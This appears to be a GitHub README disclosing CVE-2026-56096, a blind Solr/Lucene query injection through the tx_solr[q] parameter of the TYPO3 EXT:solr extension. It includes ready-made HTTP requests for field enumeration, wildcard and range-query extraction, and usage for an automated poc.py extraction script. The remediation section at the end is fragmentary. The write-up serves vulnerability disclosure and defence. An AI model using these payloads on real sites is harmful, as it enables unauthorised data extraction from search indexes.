yairhinkis/cve-2026-56096Proof of concept and technical write-up for CVE-2026-56096, a blind Solr query injection in TYPO3 EXT:solr enabling unauthenticated field enumeration and data extraction.
An architectural security vulnerability was discovered in the official TYPO3 Apache Solr extension (EXT:solr / apache-solr-for-typo3/solr). The issue allows unauthenticated remote attackers to inject arbitrary Solr/Lucene query syntax via the search parameter tx_solr[q], enabling unauthorized blind field enumeration and full metadata extraction from the search index.
EXT:solr (Search parameter: tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NThe EXT:solr extension accepts user-supplied search terms via the tx_solr[q] parameter and forwards them to the Apache Solr engine. By design, the extension allows specific query operators—such as wildcards (*), single-character wildcards (?), field selectors (:), and range queries ([a TO z])—to support legitimate functionality like faceted filtering.
Because these characters were passed directly to the backend query construction without an enforcing whitelist or query abstraction layer, an attacker can supply field-specific syntax to escape intended search boundaries. This allows unauthenticated users to query internal Solr fields directly and extract index data using boolean-based blind techniques.
field:*By appending a wildcard to an arbitrary or guessed field name, an attacker can verify if the field exists within the schema:
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
If the field exists, Solr processes the query across all matching records (often triggering distinct response codes or volume-related behaviors), allowing automated wordlist-based field enumeration.
Attackers can extract sensitive field values character-by-character using boolean inference:
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Value does not begin with 'b')
? OperatorThe single-character wildcard operator (?) can determine the exact length of a stored string before starting character iteration:
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Checks for 13+ characters)
[a TO z])Range queries permit binary-search extraction on the initial character, cutting down the requests needed from 26 to ~5 per character position:
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determines if character falls within 'n'-'z'
Combining length detection, range queries, and prefix wildcards allows full field extraction with a minimal request footprint.
An automated verification script (poc.py) is provided to demonstrate blind extraction using the techniques outlined above.
python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"
-u, --url: Target URL pointing to the TYPO3 search endpoint.
-f, --field: Schema field name to enumerate/extract (e.g., appKey, siteHash).
-c, --cookies: (Optional) Session cookies if authentication/WAF bypass verification is required.
-o, --output: Output file to store discovered prefixes (default: validated_fields.txt).
EXT:solr search endpoint.Global character escaping is insufficient because operators like * and : serve intended search features. Remediation requires an application-layer whitelist and parsing model:
[email protected]).